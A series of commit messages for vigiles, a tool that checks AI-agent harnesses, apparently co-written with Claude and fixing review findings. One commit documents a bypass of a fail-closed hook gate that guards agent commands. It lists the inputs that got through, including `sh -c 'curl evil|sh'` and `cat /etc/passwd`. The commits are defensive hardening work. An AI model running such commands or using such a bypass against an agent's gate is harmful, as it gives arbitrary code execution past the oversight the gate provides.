executed and drops their previous records BEFORE the new ones land, so what a
run says about its own script replaces everything that script said before,
including silence. Scoped to (script, tier) -- the merge key minus the surface
-- so a run can only ever withdraw what its own scripts claimed:
- a script that was NOT run keeps its records (`vigiles test one.harness.mjs`
must not erase the suite);
- the free per-push tier never withdraws what the paid scheduled tier
measured, same reason the merge key already carries the tier;
- the parameter is optional, so a caller that cannot say which scripts ran
gets the old merge-only behaviour rather than silent deletions.
A SKIP is the one status that is not an execution (`executedScripts`): the
deterministic tier skips when `claude` is absent, and dropping a record because
today's machine lacks a CLI would delete a measurement taken on the machine
that had it. `fail` and `vacuous` DID run and established nothing, so their old
green records must not outlive them -- the same rule `runsFromResults` already
applies when refusing to write one.
"Absent artifact = today's behaviour, exactly" survives: nothing to add and
nothing withdrawn means the file is not touched, so a fresh clone still gets no
artifact and a green no-op run does not churn the timestamp.
Both halves per behaviour, and seven mutations each failing on its own
assertion: restore the defect (`kept = previous`); drop the tier from the
retraction key (both halves, since desynchronising one is degenerate); retract
every previous record instead of the scripts that ran; drop `norm()` from both
sides (a Windows-recorded `by` becomes unretractable); count a skip as an
execution; have the CLI forget to pass the executed set; restore the CLI's
early return; drop the CLI's no-op guard (a repo that exercises nothing starts
getting an artifact).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(doc-commands): a global or sticky filter must not skip every other command
Reproduced before the fix, on a block of four `curl` lines:
commandsIn(md, /curl/) -> 4 ["…a", "…b", "…c", "…d"]
commandsIn(md, /curl/g) -> 2 ["…a", "…c"]
commandsIn(md, /curl/y) -> 2 ["…a", "…c"]
`RegExp.test` advances `lastIndex` on a global or sticky regex, so testing a run
of matching lines with the SAME object alternates hit, miss, hit, miss. The
damage is downstream and silent: half the document never enters the set that
`mustInclude` / `mustNotInclude` judge, so the rule reports "all 2 command(s)
include --cacert" over a file with four, and a ban goes green over commands it
was never shown. `/curl/g` is what a caller writes without thinking about it,
and a flag that changes WHICH commands are checked is the worst possible
meaning for it.
Fixed by building the filter fresh without `g`/`y` rather than resetting
`lastIndex` per line: the caller's regex is theirs and may be in use elsewhere
(a reset would mutate it), and a non-global regex has no state left to reset
wrongly -- the ability goes rather than the symptom. `y` is dropped for a second
reason: sticky ANCHORS the match at `lastIndex`, so `/curl/y` against
`sudo curl …` finds nothing, which is not what "matching" means here. Every
other flag is preserved, `i` included.
Both halves: /g, /y and /gi now return exactly what a plain /curl/ returns
(with the plain result asserted as the control), and the caller's `lastIndex`
comes back untouched. Four mutations, each failing on its own assertion: use
the caller's regex directly (the defect); strip `g` but keep `y`; drop all
flags (case-insensitivity silently stops working); reset `lastIndex` once
before the loop instead of removing the statefulness.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(check): a restricted `Tool(...)` declaration must match the base tool it names
Reproduced before the fix, on a skill whose frontmatter says
`allowed-tools: Bash(git:*), Read`, against a trace of Skill + Bash + Read:
agent used tool(s) outside its declared set: Bash
(declared: Bash(git:*), Read, Skill)
`Bash(git:*)` is the ordinary way to write a narrow grant, and `skillContract`
hands that literal string to `onlyTools` -- while a trace only ever carries the
base name `Bash`, because that is what the harness reports. Set membership
therefore missed, and every legitimate Bash call was reported as outside a
declared set that literally lists Bash. The failure is self-refuting on its
face, so nobody debugs it; they delete the check. And it fired on precisely the
authors who did the right thing and narrowed their grant.
Fixed with the `split("(")` normalization the rest of the codebase already
applies to tool declarations (core/tool-contract.ts, core/lethal-trifecta.ts,
core/delegation-trifecta.ts) -- kept as a local one-liner because the testing
pillar does not otherwise depend on the linting core. The declaration is still
ECHOED verbatim in the message and kept verbatim in `SkillContract.declared`:
an author who wrote `Bash(git:*)` must read back what they wrote, and the
restriction is what `lethal-trifecta` parses.
What this does NOT start claiming: that the command really was a `git` one. A
trace names the tool, not the grant it was matched against, so `Bash(git:*)` can
be held to "no tool outside the declared set" and no further. Narrowing beyond
the base name reads the grant rather than the run, and that is
`disallowed-tools:` + `lethal-trifecta`'s job. Said outright in the doc comment
so the check is not mistaken for one.
Both halves: the declared-and-narrowed call passes AND `WebFetch` is still
caught, so normalizing did not turn the white-list into a pass-all -- asserted
at both layers, on `onlyTools` directly and end-to-end through a real
`SKILL.md`. Two mutations, each failing on its own assertion: drop the base-name
normalization (the defect, failing both layers); print the normalized form in
the message instead of the declaration as written.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the documented `testExtension` config was read by nothing
Reproduced before the fix. A repo with a `tsconfig.json`, one untested skill,
and this `.vigilesrc.json`:
{ "rules": { "untested-skill": ["warn", { "testExtension": "mjs" }] } }
$ vigiles lint
skill .claude/skills/demo/SKILL.md — add e.g. .claude/skills/demo/demo.eval.ts
`TestCoverageOptions.testExtension` documented itself as coming from
`.vigilesrc.json`, but `TestCoverageConfig` -- the shape the three `untested-*`
rules actually accept -- had no such key, and `checkUntestedSurfaces` forwarded
only `testGlobs` and `exclude`. So the escape hatch that exists precisely for
the cases detection gets wrong (a mixed monorepo, a JS project carrying a stray
tsconfig.json, a deliberate choice to keep tests in JS) did nothing at all, in
silence. That is this project's own thesis pointed at its own CLI: the setting
was prose, and nothing mechanical read it.
Fix: declare `testExtension` on `TestCoverageConfig` and forward it. The
decision itself is unchanged and already tested (`core/test-file-ext.ts`) --
convention first, config only to disagree, an unrecognised value ignored rather
than honoured so nobody is sent to create `demo.harness.rb`.
The doc comment that made the promise is corrected too: the key arrives as
`rules["untested-skill"][1].testExtension` (or the `-subagent` / `-hook` twin,
since the three share their options), not as a top-level `.vigilesrc.json`
field. Saying only "from .vigilesrc.json" is what made the gap invisible.
Tested through the real CLI, which is where it broke -- a library-level test
could not have caught it. Four cases: detection decides with no config (the
control, `.ts`); the config overrides it (`.mjs`); it works when set on any of
the three rules, since `checkUntestedSurfaces` merges their options; and a
nonsense value falls back to detection. Mutation: drop the forwarded field and
the two override cases fail, the control and the nonsense case stay green.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* style: clear the four lint errors and the formatting drift on this branch
`npm run lint` had 4 errors and `prettier --check` flagged 9 files, all in code
this branch added or touched. Warnings (203) are pre-existing and untouched.
Three of the errors were one habit of mine: writing the retired marker as
`` `vigiles:${"covers"}` `` so the source file would not match its own search.
The precaution was never checked and the tree contradicts it — the literal
already appears in five other files under `src/`, and the detector reads only
files matching `testGlobs` in the SCANNED repo, never vigiles' own sources. Now
written plainly, with the reasoning recorded where the constant lives so nobody
re-splits it.
The fourth was a non-null assertion in a test; replaced with an assertion that
says what it expects, which is what the test wanted to express anyway.
Behaviour unchanged: 99 tests across the touched files pass, and the byte-parity
scan test is among them.
* fix(hook-runtime): the wedge escape admitted ANY executable carrying `vigiles compile`
The recovery predicate matched a leaf by scanning its WHOLE argv for a token
named `vigiles` followed anywhere by `compile`. Nothing required vigiles to be
the program that runs. `node -e '<payload>' vigiles compile`,
`sh -c 'curl evil|sh' vigiles compile` and `cat /etc/passwd vigiles compile` are
each ONE leaf, so `allLeavesAre` (the fix for the composition hole) saw nothing
wrong and admitted them as the repair action.
That is arbitrary execution through a fail-closed gate, and it opens exactly
when the gate is refusing everything else. Measured 2026-08-11 against the real
`hook-runtime run-program`: all four exited 0 while `ls` exited 2.
Match POSITIONALLY instead: `vigiles` is the leaf's own head (through a path or
an already-resolved `sudo`/`env`/`timeout` wrapper), or it sits where a package
runner puts a package name — a whitelist of runner prefixes (`npx`, `bunx`,
`npm exec`, `pnpm exec|dlx`, `yarn exec|dlx`, `bun x`) plus a whitelist of
runner options that consume no value. `-p`/`--package`/`-c` are deliberately NOT
skippable: their value is a package the runner installs or a shell it runs, so
"skip anything starting with -" would hand the hole straight back. The verb must
then be the NEXT word (the CLI reads `args[0]`), modulo the `--` a runner needs.
Both halves are asserted, unit and end-to-end: every documented launch form
still escapes the wedge — a fix that shuts the author out re-wedges the repo
with no way back, which is the defect the escape exists for.
Reported by Codex on 357c3e6.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(scan): skill→skill ref checking was a no-op in every `skills/` plugin
`loaded.files` is keyed by the CANONICAL materialized key — a plugin shipping
`skills/foo/SKILL.md` is loaded under `.claude/skills/foo/SKILL.md` — while
`ScanSkill.path` is the REAL on-disk path (the E1 remap). The report looked
contents up by the latter, so in the ordinary published-plugin layout every
lookup returned `undefined` and every skill was dropped before the check ran.
Measured 2026-08-11 on one fixture, moved between the two roots with
byte-identical content: 2 broken refs reported under `.claude/skills/`, 0 under
`skills/`. This repo's own skills live under `skills/`, so the check has never
run on the flagship either — a checker that is present and finds nothing, which
is the failure class the tool exists to catch in other people's harnesses.
Build the sources from the canonical keys instead (`skillRefSources`), remapping
only the path that goes in the MESSAGE, so a finding still names a file the
reader can open. Both report builders, since the parity gate holds them
together.
Reported by Codex on 357c3e6.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): an ambiguous probe granted execution coverage to the copy that did not run
When two discovered surfaces share a name — a skill shipped at `skills/foo/` and
overridden at `.claude/skills/foo/` — a transcript reference `plugin:foo`
resolved to BOTH, and `recordsFrom` wrote a record for each. Exactly one of them
ran, so the shadowed copy was credited with execution coverage it never earned
and the artifact asserted something false.
Returning both was documented as the conservative choice; it is the opposite.
Dropping loses a real record for the copy that did run — recording both INVENTS
one, which is the substitution this whole tier exists to remove, and it
contradicts the rule the tier already follows for a ref it cannot resolve.
The command branch had the same hole through its basename fallback, plus one of
its own: the three shapes it accepts OVERLAP, so with both hooks discovered the
fully-qualified ref `.claude/hooks/pre.sh` was an exact match for one and a
`/`-suffix match for the other. They are now a ladder — exact, then suffix
(longest surface path wins), then basename — consulted top-down, so a precise
ref stays precise and only a genuinely ambiguous one drops.
Reported by Codex on 357c3e6.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a `./`-spelled run could not retract what the bare spelling recorded
The retraction set added yesterday keys records by the script that wrote them,
and `norm()` only swapped separators — so the same file spelled two ways was two
keys. `discoverScripts` passes an argument naming an existing file through
VERBATIM and only globs otherwise, so `t.harness.mjs` (glob) and
`./t.harness.mjs` / an absolute path (typed) are all ordinary spellings that
reach `by` as written.
Measured 2026-08-12 on the two-hook fixture:
vigiles test → record `by: t.harness.mjs`
(empty the harness)
vigiles test ./t.harness.mjs → `hooks/a.sh` still "1 MEASURED BY A RUN"
That record never expires either: freshness is keyed to the SURFACE's text,
which rewriting the test does not touch — the exact "false coverage that cannot
go stale" this tier exists to remove, re-entered through the spelling.
The same split has a second symptom on the merge key: running once by
`./t.harness.mjs` and once by the default glob left TWO records for one script.
So both keys go through `canonicalScript` — fixing only the retraction would
have left the duplicate standing.
`canonicalScript` collapses separators, `./` and `..`, and relativises an
absolute path when the caller can say where the repo root is (`recordRunCoverage`
can, and now does). Relativising from a fixed root is injective, so two different
files can never collapse onto one key — an absolute and a relative spelling meet
only when they name the same location. A first draft carried a guard keeping
escaping paths absolute; mutating it away changed no test because it could not,
so it was removed rather than shipped as decoration.
Both halves are covered at both levels: unit (`./`, absolute, `..`, one-record
merge) and end-to-end through the real CLI, plus the quiet half — a DIFFERENT
script, and an unrelated absolute path, still retract nothing.
Reported by Codex on f942d8a.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(cli): the edit-time nudge ignored the `untested-*` config its own linter obeys
`evalLockNudgeHookCommand` called the coverage detector with `basePath` alone, so
it read the DEFAULTS whatever `.vigilesrc.json` said. Measured 2026-08-12 through
the real built CLI on two fixtures:
rules: { "untested-skill": false }
lint → prints nothing
nudge → "nothing measures whether it still does what it claims"
rules: { "untested-skill": ["warn", { testGlobs: ["**/*.check.mjs"] }] }
lint → "all 1 surface(s) have a test or eval"
nudge → "no test or eval covers it"
A hook that contradicts the linter of the same repo, in the same second, is worse
than one that says nothing: it teaches the agent that both are noise. And a rule
the author explicitly switched off must not come back through a hook.
The config reading is extracted into `untestedRules`, now the ONE reader for both
callers, so the two cannot drift again: per-kind severities (a kind set to
`false` arrives as `skills: false` and is not scanned) plus the shared
discovery options merged from whichever of the three rules carries them.
No separate "is anything enabled" gate at the nudge: the disable already travels
inside the options, and a mutation removing that second gate passed every test —
i.e. it would have been a branch nothing could distinguish from its absence.
Tests drive the real CLI's PostToolUse entry point and assert lint and the nudge
AGREE in both directions — a configured `testGlobs` that ADDS coverage, and an
`exclude` that removes it — with the no-config control so a fix that merely
silenced the hook cannot pass.
Reported by Codex on f942d8a.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(eval): the `node --test` guard entry was a path that cannot exist
The runner table carried `["node --test", ["node_modules/.bin/node--test"]]`,
added by analogy with the npx-installed runners and never measured. Node's test
runner is a FLAG on node, not an installed binary, so nothing under
`node_modules/.bin/` can appear in `argv[1]` — the entry could not fire under any
invocation. The paid tier stayed reachable from `node --test` for the whole life
of the guard, while the table read as though it were covered: a legacy harness
named `*.test.mjs` (a name Node's own default patterns collect) spent real model
calls on every push.
Measured 2026-08-12 (Node 22.22, a fixture printing its own process facts):
node --test foo.test.mjs
argv[1] = /abs/foo.test.mjs ← the TEST FILE, no runner in sight
execArgv = []
NODE_TEST_CONTEXT = child-v8 ← the only signal
node --test --experimental-test-isolation=none foo.test.mjs
execArgv = ["--test", …]
NODE_TEST_CONTEXT = undefined ← in-process: no child, no var
So the two modes need two different facts, and both are read.
This is NOT the `process.env.VITEST` idiom this file rejects. `VITEST` is a
user-visible convention that can sit in a `.env` or a CI job for unrelated
reasons — a guard reading it fires on correct input. `NODE_TEST_CONTEXT` is set
by NODE ITSELF in the child it spawns, and `execArgv` is the flag list node was
launched with (`--test` is refused inside `NODE_OPTIONS` — verified). The
distinction is recorded at the site so the next reader does not "fix" it back.
The other four entries were re-measured the same way and are all live — vitest
(forks and threads workers), jest (`.bin/jest`, jest-worker), mocha (`.bin/mocha`
and, under `--parallel`, `mocha/lib/nodejs/worker.js`), ava
(`ava/lib/worker/base.js`). Only the invented one was dead, and it is gone.
The test is END-TO-END: a real `node --test` over a file that calls the real
`spawnAgent`, in both isolation modes, plus the quiet half — a plain
`node foo.eval.mjs` against the REAL process facts is still not refused. A unit
test written from the same wrong belief would have agreed with the dead entry.
The child runs with an empty `PATH`, so a regression fails the test instead of
billing for it.
Reported by Codex on f942d8a.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* test(eval): probe for `--experimental-test-isolation=none` instead of assuming it
CI went red on a runner that cannot reach the branch the test covers: the flag
landed in Node 22, CI runs Node 20, and there it is not ignored but rejected —
`bad option`, exit 9 — so the assertion failed on a version mismatch rather than
on the guard.
Probed by asking the binary (`node --experimental-test-isolation=none -e ""`),
not by comparing versions: a version check works today and rots the moment the
flag is renamed or promoted out of experimental. Asking cannot rot.
The skip is LOUD — it prints which node it saw and which half of the guard still
ran. A quietly-skipped test is the exact failure this branch exists to remove:
silence that reads like a pass. Verified by forcing the probe to false: 2 passed,
1 skipped, warning printed; control run 3 passed.
The NODE_TEST_CONTEXT half — the one that matters for the default `node --test`
invocation — runs everywhere.
* fix(scan): a `*.test.*` under a surface dir is not proof it drives an agent
The foreign-runner check reported every test-looking file below a harness
surface dir and told its author to rename it to `*.harness.mjs`. On the author's
own repo that hit
`.claude/skills/verify-citations/scripts/verify-cites.test.mjs` — an offline test
of a pure reducer: no model, no network, not one vigiles import. Following the
advice would have taken a working test out of that repo's vitest run. That is
not noise, it is a harmful instruction.
The premise ("a harness test calls `runHarnessTest`/`measureTriggerRate`, which
spawn an agent") is true of harness tests and false of that file, and nothing
checked which one it was reading. The message had already been softened to a
class-level claim, which is the tell: softening the wording does not fix a false
positive; withholding the finding does.
So the premise is now measured per file. A finding needs evidence — the file
names an agent-driving vigiles API (`runHarnessTest`, `runEval`,
`measureTriggerRate`, `scriptModel`, …) or its name declares the paid tier
(`*.eval.*`) — and the message quotes that evidence back instead of describing
the class. `runHook` is deliberately NOT on the list: the no-capability tier
spawns no binary and bills nothing, so telling its author to rename is the same
bad advice one tier down.
`read` is a required parameter with no default. A default would be a silent
fallback to "assume it drives an agent" — the name-only rule again — and an
engine that forgot to pass one would reintroduce it with no compile error. Both
engines pass it (disk read / map lookup) and both treat unreadable as no
evidence, so the byte-parity gate still holds; the parity fixture regenerated
identically.
Verified on the real corpus: scanning `/home/user/mine` printed that warning
before and prints nothing after. Four mutations, each failing its own assertion:
drop the gate · count `runHook` · use `\b` instead of identifier lookaround ·
drop the eval-name evidence.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(trifecta): an explicit `disallowed-tools: []` is an attempt, not a missing line
The doc contract on `skillTrifectaIssue` already said the two states differ —
"an explicit empty list still denies nothing, but the message should not tell an
author who wrote the line that they didn't" — and the code then merged them in
one condition. Reproduced: a skill declaring `disallowed-tools: []` was reported
as "No `disallowed-tools:` line".
The damage is routing, not wording. `fence: "none"` is swept into the
whole-surface aggregate ("N of M skills declare no tool fence"), while
`"ineffective"` keeps a per-skill line. So the one author who reached for the
field and got nothing back was the only one who never got told about it, and the
sentence they did get sent them looking for something they had already written.
Grading is untouched: both remain `"advisory"` and count once toward
`trifectaExposure`. An empty fence has capability equal to no fence, so moving it
must not score worse — that is the non-monotonicity this detector was fixed for
once already.
Unreadable frontmatter still reports as `"none"`: a strict loader parses no
block, so whatever it appears to declare denies nothing. That is not an attempt.
The vendor FP-guard added here covers this and the foreign-runner change on the
five SHA-pinned real plugins — neither new branch may fire on any of them, so a
change to how one state is ROUTED cannot silently re-bucket a real corpus.
Mutations, each failing its own assertion: fold `[]` back into `"none"` · treat
unreadable frontmatter as an attempt.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): stop suggesting a `.ts` test this repo has no way to run
`testFileExt` answered "is this project TypeScript?" (a `tsconfig.json`, a
`typescript` dependency) and never asked "can anything here RUN a TypeScript
script?". `interpreterArgs` asks exactly that and refuses without `tsx` or Node's
native type stripping. On Node 20 — which this repo's own CI runs, 20.20.2 — a
project with a `tsconfig.json` and no local `tsx` was told to add
`foo.harness.ts`, and `vigiles test` then threw `Cannot run TypeScript test
script` on the file the finding had just asked for. A remedy the tool rejects is
worse than no finding: the author does the work and is told no.
The capability probe moves to `src/ts-runner-caps.ts` (harness-agnostic: it is a
fact about Node and `node_modules`, not about a harness) so the suggester and the
runner read ONE predicate and cannot drift apart again. `run-scripts.ts`
re-exports it, so every existing importer is unchanged.
`undefined` means nobody measured and does NOT downgrade — the browser engine has
no Node to ask, and a caller who never looked must not silently push every
TypeScript repo to `.mjs`. Only a measured `false` changes the answer. An
explicit `testExtension: "ts"` also survives: that field exists to disagree with
detection, and the author may be adding `tsx` in the same commit.
The wiring test simulates Node 20 by overriding
`process.allowedNodeEnvironmentFlags` (a configurable accessor) — without it the
whole gate is untestable on a dev box, since Node 22 strips types natively and
dropping the wiring breaks nothing until CI sees it. Four mutations, each failing
its own assertion: ignore the signal · treat unmeasured as incapable · let it
override an explicit config value · drop the wiring at the call site.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(cli): three commands scanned every repo as Claude Code, and went quiet
`vigiles lint` threads `adapter.layout` into `findUntestedSurfaces`. Three other
callers of the same detectors passed a path alone and got `claudeCodeLayout` by
default:
- `skillTestNudge` (the PostToolUse nudge) — in a Codex repo whose surface is
`.codex/skills/foo/SKILL.md`, discovery returned ZERO surfaces, the edited
skill matched nothing, and the hook said nothing at all, while `lint` in the
same repo reported that skill untested.
- `resolveRecords` (`vigiles test` / `eval`) — resolution matches probes
against DISCOVERED surfaces, so an empty discovery silently dropped every
probe a successful run had earned, and execution coverage never appeared.
- `rankPlugins` (the multi-target `audit` branch) — found by grepping for the
shape of the first two. Single-target `audit` resolves the adapter properly;
the leaderboard branch did not, so a Codex plugin scanned as Claude Code has
fewer discoverable surfaces, nothing to deduct, and sorts UP the board.
None of the three FAILED. Each returned an empty set, and an empty scan reads as
a clean one — which is why the third existed at all.
One resolver now, `harnessLayoutFor`, with the same precedence lint/compile/audit
use (`--harness=` → config `harness` → detect). It does not throw: an unknown
harness name is a hard error where the user typed it, but a hook and a post-run
recorder must not turn a bad config key into a failed edit or a red test run.
`rankPlugins` detects PER DIRECTORY and ignores flag/config on purpose — those
describe the repo you are standing in, not the N vendored dirs being compared.
Covered behaviourally through the real built CLI (a Codex repo now gets the nudge
its own linter gives; a Codex repo stops being credited for a `.claude/` hook; a
Codex command surface is discovered by the board) with the quiet halves on real
input — the Claude Code fixtures still speak, and the SHA-pinned vendored plugins
score number-for-number what a direct Claude-Code scan gives.
Plus a source-level gate: every `findUntestedSurfaces`/`skillTestNudge` call in
`cli.ts` carrying a `basePath` must carry a `layout`. Brace-balanced argument
capture, not a line regex, so a `layout` in a nested object cannot satisfy it.
The fourth call site is the one nobody would write a behavioural test for.
Mutations, each failing its own assertion: drop the layout at each of the three
call sites (and the gate independently catches two of them).
Also inspected and left alone: `scan-behavioral.ts`'s selection-matrix and
stubbed-hook paths, which are gated to `harness === "claude-code"` and expose no
layout parameter to drop; and the site's in-browser demo, which passes the
default layout but also labels its own output `harness: "claude-code"`, so it is
scoped rather than wrong.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* test(coverage): stop asserting a TypeScript suggestion against whichever node ran the suite
CI went red on two assertions that pinned `.ts` while the capability gate they
were testing correctly answered `.mjs`. Both passed on a Node 22 dev box and
failed on CI's Node 20 — where TypeScript genuinely cannot be run and `.mjs` is
the right suggestion. The assertions were testing the runner, not the gate.
Two different fixes, because the two tests reach the capability differently:
- `test-coverage.test.ts` runs in-process, so the "capability restored" half now
SIMULATES support (`asNodeWithStripTypes`, the mirror of the existing
`asNode20`). Both directions are simulated, so each half is deterministic on
any host.
- `cli-untested-options.test.ts` spawns a real `node`, where the capability
cannot be simulated away. It now asserts the PROPERTY the test is actually
about — the suggested path is one THIS host can execute, and the nonsense
`rb` never reaches it — instead of pinning an extension.
Same lesson as the `--experimental-test-isolation=none` probe two hours earlier:
never assert a behaviour that depends on which node picked up the job. Recorded
in both files so the next author meets it where it bites.
2715 passed; the one failure is the pre-existing `a blocking Stop hook forces the
agent to keep working` (this environment's broken TLS proxy).
* fix(coverage): three checks accepted a NAME where a PROPERTY was required
All three are the same substitution, in three places: the presence of a token
taken for the presence of the thing the token names. Reported by Codex; each
reproduced before the fix.
1. `coverage-probe` attributed by TOKEN, not by POSITION. Any script-looking
word anywhere in a command — or anywhere in its env — minted an
execution-tier coverage record. So a passing harness that ran
`cat hooks/pre-edit.sh`, `cp hooks/pre-edit.sh …` or `grep -n x hooks/x.sh`
painted that hook COVERED BY A RUN, with a fresh timestamp, so it never
expired. The command is now PARSED (new `leafArgvSource` in bash-effects,
mvdan-sh) and only executable positions count: a leaf head that is itself a
script, the first non-flag operand of an interpreter, and the word after our
own `hook-runtime run-program`. The env is EXPANDED into the word that
references it instead of scanned alongside the command, so the documented
`runHook('"$GUARD"', …, { env })` idiom still attributes and a fixture path
in the env attributes nothing. A third-party runner shim's operand is an
accepted false negative, and it is named as one.
2. `foreign-runner-tests` accepted a MENTION as evidence of a CALL — a gate
added an hour earlier to fix a false positive, whose "evidence" was a
substring search. An import, a comment forbidding the call, a string
fixture and a mocked property each got the harmful "rename this test"
advice. Evidence is now a call site, found after a lexer blanks comments,
strings and template text. Regex literals are lexed too: the first draft
called them too rare to bother with, and the first real file checked
disproved it — a `.replace(/[.`"']/g, "")` opened a template that ran to
end-of-file and hid a real `measureTriggerRate({` fifty lines below.
3. `runsFromResults` wrote coverage for SKIPPED and VACUOUS runs. A script can
drive a hook and only then discover a missing capability and call `skip()`;
the probes are still attached, and the old deny-list let them through. Now
an allow-list: only `pass` writes. The retraction rule is deliberately NOT
symmetric and stays as it was — a skip must not delete a measurement taken
on a machine that had `claude` — and there is now an assert holding the two
apart so nobody "simplifies" them into one.
Every branch mutation-tested: 21 mutations, each failing its own assert. Four
survived at first and each bought a real test — `sh -c '…'` handed one word,
`xs[0] / a / b`, `split(/[/\\]/)`, and `$(cat cmd) hooks/x.sh`. The quiet halves
run on real input: 514 real source files for the lexer, this repo's own harness
command lines for the probe.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* test(untested): a third assertion pinned an extension to whichever node ran the suite
The control test asserted `.ts` unconditionally. It passes on a Node 22 dev box
and fails on CI's Node 20, where `.mjs` is the correct answer and the capability
gate is working — the same host-dependent shape already fixed twice in this file
and in the sibling suite.
Fixing it exposed a second, quieter hole: the two config tests configured `mjs`,
which on Node 20 is ALSO what detection produces, so they could not fail there —
they proved the option travelled only on a TypeScript-capable host. The
configured value is now chosen to differ from the detected one on every host
(`mjs` where detection says `.ts`, `cjs` where it says `.mjs`).
Both branches measured on real runtimes rather than reasoned about: Node 20
suggests `demo.eval.mjs` unconfigured and `demo.eval.cjs` when configured;
Node 22/24 take the TypeScript branch. Node 24 also checked for the underlying
predicate — `--experimental-strip-types` is still accepted there
(`process.features.typescript === "strip"`), so the capability probe stays correct.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: six review findings — three lexical shapes taken for the property they name
Codex review of `05131c3`/`2c78a2c`. All six reproduced before fixing; every fix
has a test with both halves (fires on a planted defect, quiet on clean input) and
was mutation-checked by reverting it.
1. foreign-runner-tests: a DEFINITION is not a call. After `stripNonCode`, a bare
`name\s*\(` matched `function runEval() {}` and `class Fake { runEval() {} }`,
so a surface-local test that merely declares a helper was told to rename
itself. Matches now go through `isCallSite` — a definition keyword before the
name, or a matching `)` followed by `{` (optionally past a TS return type).
Same substitution as the round before, one level in.
2. cli: `--harness=` never reached coverage discovery. It is a SHARED flag and
`resolveHarnessSelection` ranks it above config and auto-detect, but
`resolveRecords` called `harnessLayoutFor(cwd, loadConfig())` — so
`vigiles test --harness=codex` resolved this run's probes against the wrong
layout and silently recorded nothing.
3. coverage-probe: an option's VALUE is not the entry script. `node --loader tsx
hooks/x.ts` selected `tsx`; `node --require setup.js app.js` selected the
preload. Value-taking and no-script-at-all interpreter options are parsed
before the entry is chosen, without regressing "a script the command READS is
data" (`ruby -S` is deliberately excluded, `python -m` attributes nothing).
4. scan + plugin-loader: a directory symlink was followed. `.claude/skills/self
-> ..` made the LOADER throw `ELOOP` out of the whole audit, and made the
surface walk report every file once per lap (82 file keys instead of 3). One
shared `entryKind` (`fs-walk.ts`) now refuses to descend into a symlinked dir
— both walks, because fixing one of a pair has broken this repo before.
5. lethal-trifecta: the skill fence is a Claude Code mechanism. On a Codex repo
every skill was scored against Safety with the remedy "add `disallowed-tools:`"
— a key Codex does not read and our own compiler drops under its
`skillFrontmatter: "minimal"` profile. Gated on the dialect record that already
says this; no new capability flag.
6. doc-commands: fences are CommonMark's. Any `^\s*``` ` line toggled, so a
four-backtick block wrapping a ``` example closed early — commands in the tail
went unchecked and the prose after it was judged as commands. Delegated to
`core/markdown.ts` (markdown-it), which also brings `~~~`.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(fs-walk): one stat answers both questions, so the dead catch is gone
CI's 100% coverage gate failed on `plugin-loader.ts` line 179 — the `catch` of a
second `statSync` used only for the size cap. The line is UNREACHABLE: the entry
was already classified as a file by a successful stat, so reaching that catch
needs the file to vanish between two consecutive calls. Covering it with a test
would have been mocking a race to satisfy a gate; the gate was right and the
construction was wrong.
`entryKind` becomes `entryOf`, returning the kind AND the size from the stat it
already performs. The loader compares the size it was handed, the second syscall
and its unreachable failure path are gone, and `scan.ts` destructures the kind it
already used. A non-file reports size 0 rather than something a size comparison
could accidentally accept.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: five review findings — four guarantees pinned on one side only
Every one is the same shape: a rule stated for one half of a pair and left
unstated for the other. Fixed with both-halves tests, each mutation-checked.
1. coverage-artifact — a record names TWO files, only one was pinned
The surface is hashed, the SCRIPT that did the executing was not, so a
deleted or renamed harness kept granting execution coverage forever:
freshness keys on the surface's text, and a file that is gone can never
re-enter the retraction set, so no future run can withdraw it. `indexRuns`
now counts a record only while BOTH files are present. Chose PRESENCE over
hashing the script: an emptied-but-present script is already retraction's
job (a `vacuous` re-run drops it), while one script legitimately covers many
surfaces — hashing would invalidate thirty records for one reformat and
cannot tell "strengthened" from "gutted". The `skip` asymmetry is untouched:
this deletes nothing, it is a read-time judgement about a checkout.
